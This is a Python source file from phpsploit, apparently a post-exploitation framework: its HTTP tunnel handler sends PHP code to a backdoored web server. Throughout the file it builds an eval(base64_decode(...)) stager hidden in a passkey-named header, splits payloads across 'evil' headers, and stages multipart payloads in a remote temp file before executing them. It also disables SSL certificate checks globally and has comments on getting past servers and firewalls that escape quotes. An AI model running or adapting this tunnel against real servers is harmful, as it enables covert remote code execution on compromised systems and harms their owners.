nil0x42/phpsploit

View on GitHub
src/core/tunnel/handler.py

Summary

Maintainability
F
5 days
Test Coverage
"""Phpsploit HTTP request handler"""
__all__ = ["Request", "new_request", "get_raw_requests"]

import sys
import re
import math
import uuid
import time
import codecs
import base64
import zlib
import urllib.request
import urllib.parse
import http.client
import ssl

import core
from core import session
from datatypes import Path
import ui.input
from ui.color import colorize

from .exceptions import BuildError, RequestError, ResponseError
from . import payload

# don't verify ssl certificates, to support non-signed https TARGETs
if hasattr(ssl, "_create_unverified_context"):
    ssl._create_default_https_context = ssl._create_unverified_context

### Log raw http requests with custom HTTP Connection Handlers
_RAW_REQUESTS_LIST = []

class _CustomHTTPConnection(http.client.HTTPConnection):
    """Log raw http request into _RAW_REQUESTS_LIST globale
    """
    def send(self, data):
        global _RAW_REQUESTS_LIST
        # fixes: https://github.com/nil0x42/phpsploit/issues/65
        if data.startswith(b"GET /") or data.startswith(b"POST /"):
            _RAW_REQUESTS_LIST.append(data)
        elif _RAW_REQUESTS_LIST:
            _RAW_REQUESTS_LIST[-1] += data
        else:
            _RAW_REQUESTS_LIST.append(data)

        super().send(data)
http.client.__HTTPConnection__ = http.client.HTTPConnection
http.client.HTTPConnection = _CustomHTTPConnection

# TODO: intercept trafic on HTTPS requests too
# class _CustomHTTPSConnection(http.client.HTTPSConnection):
#     def send(self, s):
#         global global_raw_request
#         # fixes: https://github.com/nil0x42/phpsploit/issues/65
#         if data.startswith("GET ") or data.startswith("POST "):
#             _RAW_REQUESTS_LIST.append(data)
#         else:
#             _RAW_REQUESTS_LIST[-1] += data
#         super().send(s)
# http.client.__HTTPSConnection__ = http.client.HTTPSConnection
# http.client.HTTPSConnection = _CustomHTTPSConnection

# fixes https://github.com/nil0x42/phpsploit/issues/135
# but i don't know how ... :(
class _CustomHTTPHandler(urllib.request.HTTPHandler):
    pass
urllib.request.__HTTPHandler__ = urllib.request.HTTPHandler
urllib.request.HTTPHandler = _CustomHTTPHandler


def _load_template(filepath):
    """load a PHP tunnel data template file"""
    file = Path(core.BASEDIR, "data/tunnel", filepath, mode='fr')
    return file.phpcode()


class NoPayloadInResponse(Exception):
    pass


class Request:
    """Phpsploit HTTP Request Handler
    """
    # the list of available methods
    methods = ['GET', 'POST']

    # pre-set headers, which might be considered to count vacant headers
    base_headers = ['host', 'accept-encoding', 'connection', 'user-agent']
    post_headers = ['content-type', 'content-length']

    # specific php code templates which are injected in the main evil
    # header, nominated by the PASSKEY setting, in charge of asessing
    # the main payload (in both POST and HEADER FILLING methods)
    forwarder_template = {'GET': _load_template('forwarders/get.php'),
                          'POST': _load_template('forwarders/post.php')}

    # on multipart payloads, these different php codes are used as a pipe
    # between header payload and final payload. the starter writes the
    # encoded first part of payload into the self.tmpfile, the sender
    # continues the operation appending middle parts into the tmpfile data;
    # finally, the reader writes the last part, then executes the tmpfile's
    # reassembled content.
    multipart = {'starter': _load_template('multipart/starter.php'),
                 'sender': _load_template('multipart/sender.php'),
                 'reader': _load_template('multipart/reader.php')}

    def __init__(self):
        # customizable variables
        self.target_obj = session.Conf.TARGET(call=False)
        self.hostname = self.target_obj.host
        self.port = self.target_obj.port
        self.target = self.target_obj()
        self.passkey = session.Conf.PASSKEY()
        self.is_first_payload = False
        self.is_first_request = True

        # default message exceptions on request/response fail
        self.errmsg_request = "Communication with the server impossible"
        self.errmsg_response = "Php runtime error"

        # eventual error produced on build_forwarder()
        self.payload_forwarder_error = None

        # Use the PROXY setting as urllib opener
        self.opener = session.Conf.PROXY()

        # the list of user specified additionnal headers (HTTP_* settings)
        self.set_headers = self.load_headers(session.Conf)

        # random delimiter user to extract phpsploit output
        self.delim = str(uuid.uuid4())

        # try to get a tmpdir, which acts as recipient directory on payloads
        # sent via multiple requests, if no writeable tmpdir is known, the
        # user will be asked to manually determine a writeable directory
        # on the self.load_multipart() function.
        self.tmpfile = '/' + str(uuid.uuid4())
        if "WRITEABLE_TMPDIR" in session.Env.keys():
            self.tmpdir = session.Env["WRITEABLE_TMPDIR"] + self.tmpfile
        else:
            self.tmpdir = None

        # multipart_file is a small portion of php code in the form:
        # <? $f = "/tmp/dir" ?>, that indicates to multipart payloads
        # where the fragments of payload will be written.
        # the self.load_multipart() function sets it.
        self.multipart_file = None

        # the list of formated REQ_* Settings, for use in the http sender.
        hdr_payload = session.Conf.REQ_HEADER_PAYLOAD()
        hdr_payload = hdr_payload.replace('%%BASE64%%', '%s')
        self.header_payload = hdr_payload.rstrip(';') + ';'

        self.default_method = session.Conf.REQ_DEFAULT_METHOD()
        self.zlib_try_limit = session.Conf.REQ_ZLIB_TRY_LIMIT()
        self.max_post_size = session.Conf.REQ_MAX_POST_SIZE()
        self.max_header_size = session.Conf.REQ_MAX_HEADER_SIZE()
        self.max_headers = session.Conf.REQ_MAX_HEADERS()

        # determine how much header slots are really vacants, to calculate
        # what payload types will be available, and how much data can be
        # sent by http request.
        vacant_hdrs = (self.max_headers -
                       len(self.base_headers) -
                       len(self.set_headers.keys()) -
                       1)  # the payload forwarder header

        self.vacant_headers = {'GET': vacant_hdrs,
                               'POST': vacant_hdrs - len(self.post_headers)}

        # GET's max size gets -8 because payloaded headers are sent like this:
        #   `ZZAA: DATA\r\n`, aka 8 chars more than DATA.
        # POST's max size gets -5 because a POST data is sent like this:
        #   `PASSKEY=DATA\r\n\r\n`, so = and \r\n\r\n must be considered too.
        self.maxsize = {'GET':  vacant_hdrs * (self.max_header_size - 8),
                        'POST': self.max_post_size - len(self.passkey) - 5}

        # the self.can_send var is a dic of bools, 1 per available http method
        # which indicate if yes or no the concerned method can be really used.
        self.can_send = {'GET':  [self.maxsize['GET'] > 0],
                         'POST': False}
        if self.maxsize['POST'] > 0 and self.vacant_headers['POST'] >= 0:
            self.can_send['POST'] = True

    def other_method(self):
        """returns the inverse of the current default method"""

        if self.default_method == 'GET':
            return 'POST'
        return 'GET'

    def can_add_headers(self, headers):
        """check if the size of the specified headers list
        is in conformity with the max header size
        """
        headers = self.get_headers(headers)
        for name, value in headers.items():
            raw_header = '%s: %s\r\n' % (name, value)
            if len(raw_header) > self.max_header_size:
                return False
        return True

    def encapsulate(self, php_payload):
        """wrap unencoded payload within self.delim
        """
        php_payload = php_payload.rstrip(';')
        echo_delim = 'echo "%s";' % self.delim
        return echo_delim + php_payload + echo_delim

    def decapsulate(self, response):
        """extract payload response from http response body
        """
        response = response.read()
        chunks = response.split(self.delim.encode(), 2)
        if len(chunks) == 3:
            return chunks[1]
        return None
        raise NoPayloadInResponse(response)

    def load_multipart(self):
        """enable the multi-request payload capability.
        - ask user to determine a remote writeable directory if
          tunnel opener couldn't file one automatically.
        - choose appropriate multipart_file, which is a remote temporary file
          used to concatenate payload fragments before final execution.
        """
        ask_dir = ui.input.Expect(case_sensitive=False, append_choices=False)
        ask_dir.default = "/tmp"
        ask_dir.skip_interrupt = False
        ask_dir.question = ("Writeable remote directory needed"
                            " to send multipart payload ['/tmp/'] ")
        confirm = ui.input.Expect(True)
        confirm.skip_interrupt = False
        while not self.tmpdir:
            response = ask_dir()
            if confirm("Use '%s' as writeable directory ?" % response):
                self.tmpdir = response + self.tmpfile

        if not self.multipart_file:
            self.multipart_file = payload.py2php(self.tmpdir)
            self.multipart_file = "$f=%s;" % self.multipart_file
            multipart = dict()
            for name, phpval in self.multipart.items():
                multipart[name] = self.multipart_file + phpval
                if name in ['starter', 'sender']:
                    multipart[name] = self.encapsulate(multipart[name])
            self.multipart = multipart

    def build_forwarder(self, method, decoder):
        """build the effective payload forwarder, which is in fact
        a header using the PASSKEY setting as name.
        The payload forwarder is called by the remote backdoor, and then
        formats the final payload if necessary before executing it.

        """
        decoder = decoder % "$x"
        template = self.forwarder_template[method]
        template = template.replace('%%PASSKEY%%', self.passkey)

        raw_forwarder = template % decoder
        b64_forwarder = base64.b64encode(raw_forwarder.encode()).decode()
        # here we delete the ending "=" from base64 payload
        # because if the string is not enquoted it will not be
        # evaluated. on iis6, apache2, php>=4.4 it dont seem
        # to return error, and is a hacky solution to eval a payload
        # without quotes, preventing header quote escape by server
        # eg: "eval(base64_decode(89jjLKJnj))"
        b64_forwarder = b64_forwarder.rstrip('=')

        hdr_payload = self.header_payload
        forwarder = hdr_payload % b64_forwarder

        if not self.is_first_payload:
            # if the currently built request is not the first http query
            # sent to the server, it means that it works as it is. Therefore,
            # additionnal payload warnings and verifications are useless.
            return {self.passkey: forwarder}

        err = None
        # if the base64 payload is not enquoted by REQ_HEADER_PAYLOAD
        # setting and contains non alpha numeric chars (aka + or /),
        # then warn the user in case of bad http response.
        if "'%s'" not in hdr_payload and \
           '"%s"' not in hdr_payload and \
           not b64_forwarder.isalnum():
            # create a visible sample of the effective b64 payload
            len_third = float(len(forwarder) / 3)
            len_third = int(round(len_third + 0.5))
            sample_sep = colorize("%Reset", "\n[*] ", "%Cyan")
            lines = [''] + self.split_len(forwarder, len_third)
            err = ("[*] do not enquotes the base64 payload which"
                   " contains non alpha numeric chars (+ or /),"
                   " blocking execution:" + sample_sep.join(lines))

        # if server is running PHP >=8, non-quoted literal won't be
        # interpreted as a string, leading to impossibility to
        # execute phpsploit unless quotes are added to the payload:
        elif "'%s'" not in hdr_payload and \
                '"%s"' not in hdr_payload:
            len_third = float(len(forwarder) / 3)
            len_third = int(round(len_third + 0.5))
            sample_sep = colorize("%Reset", "\n[*] ", "%Cyan")
            lines = [''] + self.split_len(forwarder, len_third)
            err = ("[*] doesn't quotes base64 payload, and if"
                   " target runs on PHP>=8, execution will fail"
                   " (GH Issue #168):" + sample_sep.join(lines))

        # if current request is not affected by previous case,
        # request may still fail because the header containing the
        # payload stager has quotes.
        elif '"' in hdr_payload or \
             "'" in hdr_payload:
            err = ("[*] contains quotes, and some http servers & firewalls"
                   " escape them in request headers.")

        self.payload_forwarder_error = err
        return {self.passkey: forwarder}

    def build_get_headers(self, php_payload):
        """Split `php_payload` into a list of evil HTTP headers containing
        payload fractions.

        Original payload is recombined and executed at runtime by
        payload stager.

        Each header name is generated appending two alphabecital letters
        to the base name, in the form: ZZAA, ZZAB, ..., ZZBA, ZZBB, ZZBC, ...
        """
        # TODO: this function is horribly stupidly implemented
        def get_header_names(num):
            letters = 'abcdefghijklmnopqrstuvwxyz'
            result = []
            base = 0
            for x in range(num):
                x -= 26 * base
                try:
                    char = letters[x]
                except:
                    base += 1
                    char = letters[x-26]
                header_name = "zz" + letters[base] + char
                result.append(header_name)
            return result

        # considering that the default REQ_MAX_HEADERS and REQ_MAX_HEADER_SIZE
        # values can be greater than the real current server's capacity, the
        # following lines equilibrates the risks we take on both settings.
        # The -8 on the max_header_size keeps space for header name and \r\n
        data_len = len(php_payload)
        free_space_per_hdr = self.max_header_size - 8
        vacant_hdrs = self.vacant_headers['GET']

        sz_per_hdr = math.sqrt((data_len * free_space_per_hdr) / vacant_hdrs)
        sz_per_hdr = int(math.ceil(sz_per_hdr))

        hdr_datas = self.split_len(php_payload, sz_per_hdr)
        hdr_names = get_header_names(len(hdr_datas))
        return dict(zip(hdr_names, hdr_datas))

    def build_post_content(self, data):
        """returns a POST formated version of the given
        payload data with PASSKEY as variable name
        """
        post_data = urllib.parse.urlencode({self.passkey: data})
        post_data += "&" + session.Conf.REQ_POST_DATA()
        return post_data

    def build_single_request(self, method, php_payload):
        """build a single request from the given http method and
        payload, and return a request object.
        for infos about the return format, see the build_request() docstring.

        """
        # the header that acts as payload forwarder
        forwarder = self.build_forwarder(method, php_payload.decoder)

        headers = forwarder  # headers dictionnary
        content = None  # post data content, None on GET requests

        if not self.can_add_headers(headers):
            # if no more headers are available, the payload forwarder
            # can't be send, so we have to return an empty list
            return []
        if method == 'GET':
            # add built headers containing splitted main payload
            evil_headers = self.build_get_headers(php_payload.data)
            headers.update(evil_headers)
        if method == 'POST':
            # encode the main paylod as a POST data variable
            content = self.build_post_content(php_payload.data)

        return [(headers, content)]

    def build_multipart_request(self, method, php_payload):
        """build a multipart request for `php_payload` with HTTP `method`

        For infos about return format, read build_request() docstring.
        """
        compression = 'auto'
        if php_payload.length > self.zlib_try_limit:
            compression = 'nocompress'

        def encode(stager, php_payload):
            """wrap `php_payload` with `stager` and encode it"""
            data = stager.replace('DATA', php_payload).encode()
            return payload.Encode(data, compression)

        last_stager = self.multipart['reader'] % (php_payload.decoder % "$x")

        raw_data = php_payload.data
        base_num = self.maxsize[method]
        max_flaw = max(100, int(self.maxsize[method] / 100))

        built_reqs = []

        # loop while the payload has not been fully distributed into requests
        while True:
            # the multipart forwarder to use on currently built request
            forwarder = 'sender' if built_reqs else 'starter'
            forwarder = self.multipart[forwarder]

            req_done = False  # True when current req has been calculated
            php_payload = None  # the current request's payload string

            # the following loop is designed to determine the greatest
            # usable payload that can be used in a single request.
            # on these steps, min_range and max_range respectively represent
            # the current allowed size's range limits. while test_size
            # represent the currently checked payload size.
            test_size = base_num
            min_range = max_flaw
            max_range = 0
            while not req_done:
                if max_range > 0:
                    if max_range <= min_range:
                        max_range = min_range * 2
                    # set test_size to the current range's average
                    test_size = min_range + int((max_range - min_range) / 2)

                # try to build a payload containing the test_size data
                test_payload = encode(forwarder, raw_data[:test_size])

                # if it is too big, consider test_size as the new max_range
                # only if test_size if bigger than the max_flaw, else return err
                if test_payload.length > self.maxsize[method]:
                    if test_size <= max_flaw:
                        return []
                    max_range = test_size

                # if the payload is not too big
                else:
                    # then accept it as current request's payload size, only
                    # if the difference between current size and known limit
                    # does not exceeds the max_flaw. also accept it if this is
                    # the last built single request.
                    if test_size - min_range <= max_flaw \
                       or (built_reqs and test_size == base_num):
                        php_payload = test_payload
                        base_num = test_size
                        req_done = True
                    # we also now know that the max theorical size is bigger
                    # than tested size, so we settle min_range to it's value
                    min_range = test_size

            # our single request can now be added to the multi req list
            # and it's treated data removed from the full data set
            raw_data = raw_data[min_range:]
            request = self.build_single_request(method, php_payload)
            if not request:
                return []
            built_reqs += request

            # after each successful added request, try to put all remaining
            # data into a final request, and return full result if it enters.
            php_payload = encode(last_stager, raw_data)
            if php_payload.length <= self.maxsize[method]:
                request = self.build_single_request(method, php_payload)
                if not request:
                    return []
                built_reqs += request
                return built_reqs

    def build_request(self, mode, method, php_payload):
        """a frontend to the build_${mode}_request() functions.
        it takes request mode (single/multipart) as first argument, while
        the 2nd and 3rd are common request builder's arguments.

        * RETURN-FORMAT: the request builders return format is a list()
        containing one tuple per request. Each request tuple contains
        the headers dict() as first element, and the POST data as 2nd elem,
        which is a dict(), or None if there is no POST data to send.
        headers dict() is in the form: {'1stHdrName': '1stHdrValue', ...}
        * This is a basic request format:
            [  ( {"User-Agent":"firefox", {"Accept":"plain"}, None ),
               ( {"User-Agent":"ie"}, {"PostVarName":"PostDATA"} )    ]
        """
        builder_name = "build_%s_request" % mode
        if hasattr(self, builder_name):
            builder = getattr(self, builder_name)
            return builder(method, php_payload)
        return []

    def send_single_request(self, request):
        """send a single request object element (a request object's single
        tuple, in the form mentionned in the build_request() docstring.
        A response dict() will be returned, with 'error' and 'data' keys.

        """
        response = {'error': None, 'data': None}  # preset response values
        headers, content = request  # retrieve request elems from given tuple
        if isinstance(content, str):
            content = content.encode()

        # add the user settings specified headers, and get their real values.
        headers.update({"Host": self.hostname})
        headers.update(self.set_headers)
        headers = self.get_headers(headers)

        # erect the final request structure
        request = urllib.request.Request(self.target, content, headers)

        try:
            # send request with custom opener and decapsulate it's response
            resp = self.opener.open(request)
            response['data'] = self.decapsulate(resp)
            # if it works, then self.is_first_request bool() is no more True
            self.is_first_request = False

        # treat errors if request failed
        except urllib.error.HTTPError as e:
            # import pprint
            # pprint.pprint(e)
            try:
                response['data'] = self.decapsulate(e)
            except:
                response['data'] = None
            if response['data'] is None:
                response['error'] = str(e)
        except urllib.error.URLError as e:
            err = str(e)
            if err.startswith('<urlopen error '):
                err = err[15:-1]
                if err.startswith('[Errno '):
                    err = err[(err.find(']') + 2):]
                err = 'Request error: ' + err
            response['error'] = err
        except KeyboardInterrupt:
            response['error'] = 'HTTP Request interrupted'

        return response

    @staticmethod
    def get_php_errors(data):
        """function designed to parse php errors from phpsploit response
        for better output and plugin debugging purposes.
        Its is called by the Read() function and returns the $error string

        """
        error = ''
        data = data.replace(b'<br />', b'\n')  # html NewLines to Ascii
        # get a list of non-empty data lines
        lines = list()
        for line in data.split(b'\n'):
            line = line.strip()
            if line:
                lines.append(line)
        # extract errors from data
        for line in lines:
            try:
                line = line.decode()
            except:
                break
            # this condition basically considers current line as a php error
            if line.count(': ') > 1 and ' on line ' in line:
                line = re.sub(r' \[<a.*?a>\]', '', line)  # remove html link tag
                line = re.sub('<.*?>', '', line)  # remove other html tags
                line = line.replace(':  ', ': ')  # format double spaces
                line = ' in '.join(line.split(' in ')[0:-1])  # del line info
                error += 'PHP Error: %s\n' % line  # add erro line to return
        return error.strip()

    def read(self):
        """read the http response"""
        return self.response

    def open(self, php_payload):
        """open a request to the server with the given php payload
        It respectively calls the Build(), Send() and Read() methods.
        if one of these methods returns a string, it will be considered as
        an error, so execution will stop, and self.error will be filled.
        If no errors occur, then the self.response is filled, and the
        response may be obtained by the read() method.

        """

        # if the is more than one possible target, display the one used for
        # this request(s). Also print if connecting through `exploit` cmd
        if self.is_first_payload or len(session.Conf.TARGET.choices()) > 1:
            print("[*] Sending payload to %s ..." % self.target_obj)

        self.response = None
        self.response_error = None

        def display_warnings(obj):
            if type(obj).__name__ == 'str':
                for line in obj.splitlines():
                    if line:
                        print("\r[-] %s" % line)
                return True
            return False

        # this raises BuildError if it fails
        request = self.Build(php_payload)

        response = self.Send(request)
        # import pprint
        # pprint.pprint(response)
        if display_warnings(response):
            if self.payload_forwarder_error:
                print("[*] If you are sure that the target is properly "
                      "backdoored, this may occur because "
                      "REQ_HEADER_PAYLOAD\n" + self.payload_forwarder_error)
            raise RequestError(self.errmsg_request)

        readed = self.Read(response)
        if display_warnings(readed):
            raise ResponseError(self.errmsg_response)

    def Build(self, php_payload):
        """Main request Builder:

        if takes the basic php payload as argument,
        and returns the apropriate request object.

        """
        # decline conflicting passkey strings
        if self.passkey.lower().replace('_', '-') in self.set_headers:
            raise BuildError('PASSKEY conflicts with an http header')

        # decline if an user set header do not match size limits
        if not self.can_add_headers(self.set_headers):
            raise BuildError('An http header is longer '
                             'than REQ_MAX_HEADER_SIZE')

        # format the current php payload whith the dedicated Build() method.
        php_payload = payload.Build(php_payload, self.delim)

        # get a dict of available modes by method
        mode = {}
        for m in self.methods:
            mode[m] = ''
            if self.can_send[m]:
                mode[m] = 'single'
                if php_payload.length > self.maxsize[m]:
                    mode[m] = 'multipart'

        # if REQ_DEFAULT_METHOD setting is enough for single mode, build now !
        if mode[self.default_method] == 'single':
            req = self.build_request('single',
                                     self.default_method,
                                     php_payload)
            if not req:
                raise BuildError('The forwarder is bigger '
                                 'than REQ_MAX_HEADER_SIZE')
            return req

        # load the multipart module if required
        if 'multipart' in mode.values():
            try:
                print('[*] Large payload: %s bytes' % php_payload.length)
                self.load_multipart()
            except KeyboardInterrupt:
                print('')
                raise BuildError('Payload construction aborted')

        # build both methods necessary requests
        request = dict()
        for m in self.methods:
            sys.stdout.write('\rBuilding %s method...\r' % m)
            sys.stdout.flush()
            request[m] = self.build_request(mode[m], m, php_payload)

        # if the default method can't be built, use the other as default
        if not request[self.default_method]:
            self.default_method = self.other_method()
        # but if even the other also cannot be built, then leave with error
        if not request[self.default_method]:
            raise BuildError('REQ_* settings are too small')

        # give user choice for what method to use
        self.choices = list()

        def choice(seq):
            """add arg to the choices list, and enlight it's output"""
            self.choices.append(seq[0].upper())
            hilightChar = colorize("%Bold", seq[0])
            output = '[%s]%s' % (hilightChar, seq[1:])
            return output

        # prepare user query for default method
        query = "%s %s request%s will be sent, you also can " \
                % (len(request[self.default_method]),
                   choice(self.default_method),
                   ['', 's'][len(request[self.default_method]) > 1])
        end = "%s" % choice('Abort')

        # add other method to user query if available
        if request[self.other_method()]:
            query += "send %s %s request%s or " \
                     % (len(request[self.other_method()]),
                        choice(self.other_method()),
                        ['', 's'][len(request[self.other_method()]) > 1])
        # or report that the other method has been disabled
        else:
            print('[-] %s method disabled:' % self.other_method() +
                  ' The REQ_* settings are too restrictive')

        query += end + ': '  # add the Abort choice
        self.choices.append(None)  # it makes sure the list length is >= 3

        # loop for user input choice:
        chosen = ''
        while not chosen:
            chosen = ui.input.Expect(None)(query).upper()
            # try:
            #     chosen = ui.input.Expect(None)(query).upper()
            # except:
            #     print('')
            #     raise BuildError('Request construction aborted')

            # if no choice consider 1st choice
            if not chosen.strip():
                chosen = self.choices[0]
            # if 1st choice, use default method
            if chosen == self.choices[0]:
                return request[self.default_method]
            # if 3rd choice, use other method
            if chosen == self.choices[2]:
                return request[self.other_method()]
            # if 2nd choice, abort
            if chosen == self.choices[1]:
                raise BuildError('Request construction aborted')
            # else...
            else:
                raise BuildError('Invalid user choice')

    def Send(self, request):
        """Main request Sender:

        if takes the concerned request object as argument
        and returns the unparsed and decapsulated phpsploit response

        """
        # flush raw requests container
        global _RAW_REQUESTS_LIST
        _RAW_REQUESTS_LIST = []

        multiReqLst = request[:-1]
        lastRequest = request[-1]

        def updateStatus(curReqNum):
            curReqNum += 1  # don't belive the fact that humans count from 1 !
            numOfReqs = str(len(multiReqLst) + 1)
            curReqNum = str(curReqNum).zfill(len(numOfReqs))
            statusMsg = "Sending request %s of %s" % (curReqNum, numOfReqs)
            sys.stdout.write('\r[*] %s' % statusMsg)
            sys.stdout.flush()

        # considering that the multiReqLst can be empty, is means that the
        # following loop is only executer on multipart payloads.
        for curReqNum in range(len(multiReqLst)):
            interrupt_err = ('Send Error: Multipart transfer interrupted\n'
                             'The remote temporary payload «%s» must be '
                             'manually removed.' % self.tmpdir)
            sent = False
            while not sent:
                updateStatus(curReqNum)
                response = self.send_single_request(multiReqLst[curReqNum])
                error = response['error']
                # keyboard interrupt imediately leave with error
                if error == 'HTTP Request interrupted':
                    return interrupt_err
                # on multipart reqs, all except last MUST return the string 1
                if not error and response['data'] != b'1':
                    error = 'Execution error'

                # if the current request failed
                if error:
                    msg = " (Press Enter or wait 1 minut for the next try)"
                    sys.stdout.write(colorize("\n[-] ", error, "%White", msg))
                    waitkey = ui.input.Expect(None)
                    waitkey.timeout = 60
                    waitkey.skip_interrupt = False
                    try:
                        waitkey()
                    except (KeyboardInterrupt, EOFError):
                        return interrupt_err

                # if the request has been corretly executed, wait the
                # REQ_INTERVAL setting, and then go to the next request
                else:
                    try:
                        time.sleep(session.Conf.REQ_INTERVAL())
                    except:
                        return interrupt_err
                    sent = True

        # if it was a multipart payload, print status for last request
        if len(multiReqLst):
            updateStatus(len(multiReqLst))
            print('')

        # treat the last or single request
        response = self.send_single_request(lastRequest)
        if response['error']:
            return response['error']
        return response

    def Read(self, response):
        """Main request Reader

        if takes the http response data as argument
        and writes the __RESULT__'s php data into the self.response string,
        and writes the __ERROR__'s php error method to self.response_error.

        Note: The php __ERROR__ container is not a real error, but a
              phpsploit built method to allow plugins returning plugin
              error strings that can be differenciated from base result.

        """
        if response['data'] is None:
            # if no data and error, return it's string
            if response['error']:
                return response['error']
            # elif no data, nothing can be parsed
            print("[-] Server response coudn't be unparsed"
                  " (maybe invalid PASSKEY ?)")
            # print payload forwarder error (if any)
            if self.payload_forwarder_error:
                print("[*] If you are sure that the target is properly "
                      "backdoored, this may occur because "
                      "REQ_HEADER_PAYLOAD\n" + self.payload_forwarder_error)
            return ''

        # anyway, some data has been received at this point
        b_response = response['data']
        assert isinstance(b_response, bytes)
        # try to decode it, optional because php encoding can be unset
        try:
            b_response = zlib.decompress(b_response)
        except zlib.error:
            pass
        assert isinstance(b_response, bytes)

        # convert the response data into python variable
        try:
            response = payload.php2py(b_response)
        except Exception as e:
            php_errors = self.get_php_errors(response['data'])
            if php_errors:
                return php_errors
            raise e

        # import pprint
        # pprint.pprint("------------- PYTHON RESPONSE DICT -------------")
        # pprint.pprint(response)

        # check that the received type is a dict
        if not isinstance(response, dict):
            raise ResponseError('Decoded response is not a dict()')
        # then check it is in the good format,
        # aka {'__RESULT__':'DATA'} OR {'__ERROR__': 'ERR'}
        if list(response.keys()) == ['__RESULT__']:
            self.response = response['__RESULT__']
        elif list(response.keys()) == ['__ERROR__']:
            self.response_error = response['__ERROR__']
        else:
            raise ResponseError('Returned dict() is in a wrong format')

    @staticmethod
    def split_len(string, length):
        """split `string` into a list of items whose size
        does not exceed `length`

        >>> split_len('phpsploit', 2)
        ['ph', 'ps', 'pl', 'oi', 't']
        """
        result = []
        for pos in range(0, len(string), length):
            end = pos + length
            result.append(string[pos:end])
        return result

    @staticmethod
    def load_headers(settings):
        """Load the list of user defined headers ('HTTP_*' settings)

        This function retrieves settings *LineBuffer objects.
        To pick settings's *usable-value, get_headers() shall be used.
        """
        headers = {"user-agent": ""}
        for key, val in settings.items():
            if key.startswith('HTTP_') and key[5:]:
                key = key[5:].lower().replace('_', '-')
                headers[key] = val
        return headers

    @staticmethod
    def get_headers(headers):
        """get *usable-value of user-defined http headers.

        This function must be called just before each individual
        request, to correctly access *usable-value of LineBuffer
        objects (configuration settings)
        """
        result = {}
        for key, val in headers.items():
            key = key.lower().replace("_", "-")
            if callable(val):
                val = val()
            result[key] = val
        return result


def new_request():
    """Wrapper for Request() method which returns
    backwards compatibility handler if needed.

    """
    from . import compat_handler
    if "id" in session.Compat and session.Compat["id"] == "v1":
        request = compat_handler.Request_V1_x()
        request.passkey = session.Compat["passkey"]
    else:
        request = Request()
    return request


def get_raw_requests():
    """retrieve raw requests from previously sent payload"""
    return _RAW_REQUESTS_LIST